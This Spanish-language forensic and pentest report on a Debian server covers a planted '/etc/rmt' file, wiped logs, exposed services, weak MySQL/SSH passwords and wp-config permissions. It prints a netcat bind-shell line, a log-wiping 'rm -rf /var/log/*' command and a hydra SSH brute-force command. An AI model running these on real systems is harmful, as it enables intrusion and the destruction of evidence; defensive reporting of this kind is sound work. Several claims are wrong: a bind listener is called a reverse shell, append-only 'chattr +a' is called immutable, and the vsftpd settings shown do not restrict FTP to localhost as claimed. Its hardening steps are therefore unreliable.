Reporte de Análisis Forense y Pentesting

1. Descripción General

Se realizó un análisis forense y pruebas de penetración en un sistema **Debian** con el objetivo de identificar configuraciones inseguras, archivos sospechosos y actividad inusual. Durante el proceso se identificaron amenazas potenciales y errores de configuración, los cuales fueron **corregidos** en el transcurso del análisis. A continuación, se detallan los hallazgos y acciones tomadas:

1. Archivo malicioso identificado (`rmt`) en el directorio `/etc` con instrucciones para una shell reversa.
2. Eliminación de registros críticos en `/var/log`, dificultando el análisis de eventos pasados.
3. Servicio **Apache (HTTP)** expuesto en el puerto **80** y configurado sin restricciones iniciales.
4. **Contraseñas débiles** en **MySQL** y acceso no autorizado al servicio.
5. **Autenticación débil** en **SSH**, susceptible a ataques de fuerza bruta.
6. **Permisos incorrectos** en el archivo **wp-config.php**, exponiendo información sensible.

Durante las pruebas, se **verificó y corrigió** la configuración de los puertos para servicios como **FTP** y **MySQL**, los cuales quedaron restringidos a **localhost** para evitar accesos externos.

---

2. Identificación del Entorno

- **Sistema operativo objetivo**: Debian
- **Plataforma de pruebas**: Kali Linux
- **Servicios analizados**:
    - Apache (HTTP) – puerto **80**
    - MySQL – puerto **3306** (local únicamente)
    - SSH – puerto **22**
    - FTP – puerto **21** (local únicamente)

---

3. Pruebas Realizadas y Hallazgos

3.1. Archivo Sospechoso en `/etc`

Se identificó un archivo ejecutable sospechoso llamado **`rmt`** en el directorio `/etc`:

ls -l /etc/rmt

Resultado:

-rwxr-xr-x 1 root root 123456 Jun 17 15:22 /etc/rmt

Contenido del archivo analizado con `strings`:

strings /etc/rmt

Salida parcial:

/bin/bash

nc -lvp 4444 -e /bin/sh

- **Análisis**: El archivo `rmt` contenía comandos para iniciar un **listener netcat**, lo cual permite establecer una **shell reversa**. Esta funcionalidad es típicamente utilizada en ataques.

Acción tomada:

Se eliminó el archivo malicioso:
rm -f /etc/rmt

-

3.2. Registros Eliminados

Se verificaron los logs del sistema, pero se detectó que habían sido eliminados intencionalmente:

ls -la /var/log

Resultado:

total 8

drwxr-xr-x 2 root root 4096 Jun 17 15:30 .

drwxr-xr-x 12 root root 4096 Jun 17 15:00 ..

El historial de comandos confirmó la eliminación:

history | grep rm

Resultado:

rm -rf /var/log/*

- **Análisis**: La eliminación de registros sugiere un intento de **ocultar actividad maliciosa**.

Acción tomada:

Se configuró el sistema para proteger los logs de eliminación no autorizada:
chattr +a /var/log/*

-

3.3. Escaneo de Servicios y Puertos

Se realizó un escaneo completo con `nmap` para detectar servicios expuestos:

nmap -sS -sV -p- <IP_DEL_SISTEMA>

Resultado:

- **Apache (HTTP)**: Puerto **80** abierto y accesible.
- **MySQL (3306)**: Detectado inicialmente accesible externamente.
- **SSH (22)**: Accesible externamente.
- **FTP (21)**: Inicialmente accesible, pero corregido para localhost.

Correcciones Aplicadas:

1. **MySQL restringido a localhost**:

Modificado en `/etc/mysql/my.cnf`:
bind-address = 127.0.0.1

   -

Reinicio del servicio:
systemctl restart mysql

   -

2. **FTP restringido** a conexiones locales:

Configuración en `/etc/vsftpd.conf`:
listen=YES

listen_ipv6=NO

local_enable=YES

   -

3. **Apache (HTTP)**:

   - Configurado firewall para restringir accesos no autorizados al puerto **80**.

3.4. Contraseñas Débiles en MySQL y SSH

MySQL:

Se detectaron contraseñas por defecto, permitiendo acceso no autorizado:

mysql -u root -p

- **Contraseña**: `root`.

SSH:

Prueba de fuerza bruta con `hydra`:

hydra -l root -P passwords.txt ssh://<IP>

Resultado:

login: root password: admin123

Correcciones:

1. Se establecieron contraseñas fuertes para MySQL y SSH.
2. En **SSH**, se implementó autenticación mediante llaves públicas.
3. Se instaló **Fail2Ban** para prevenir ataques de fuerza bruta.

3.5. Permisos Incorrectos en wp-config.php

Se verificaron permisos del archivo `wp-config.php`:

ls -l /var/www/html/wp-config.php

Resultado:

-rw-rw-r-- 1 www-data www-data 12345 Jun 17 16:00 wp-config.php

Corrección aplicada:
chmod 640 /var/www/html/wp-config.php

-

---

4. Resumen de Correcciones

1. **Eliminación del archivo malicioso `rmt`** en `/etc`.
2. **Protección de registros del sistema** con atributos inmutables.
3. **Restricción de MySQL y FTP** a localhost.
4. **Refuerzo de Apache** con firewall.
5. **Fortalecimiento de contraseñas** en MySQL y SSH.
6. **Implementación de Fail2Ban** en SSH.
7. **Corrección de permisos** en `wp-config.php`.

---

5. Recomendaciones Adicionales

1. Implementar **monitorización continua** con herramientas como **OSSEC** o **Wazuh**.
2. Auditar periódicamente contraseñas y configuraciones de servicios.
3. Mantener copias de seguridad de registros críticos y almacenarlos en sistemas protegidos.
4. Realizar análisis de integridad de archivos con herramientas como **AIDE** o **rkhunter**.

---

6. Conclusión

El análisis permitió detectar y **corregir vulnerabilidades críticas** en el servidor Debian, mejorando su seguridad general. Las configuraciones inseguras y la presencia de actividad maliciosa (archivo `rmt`) fueron abordadas con éxito. Se recomienda implementar las medidas preventivas y continuar monitoreando el sistema para evitar futuros incidentes.
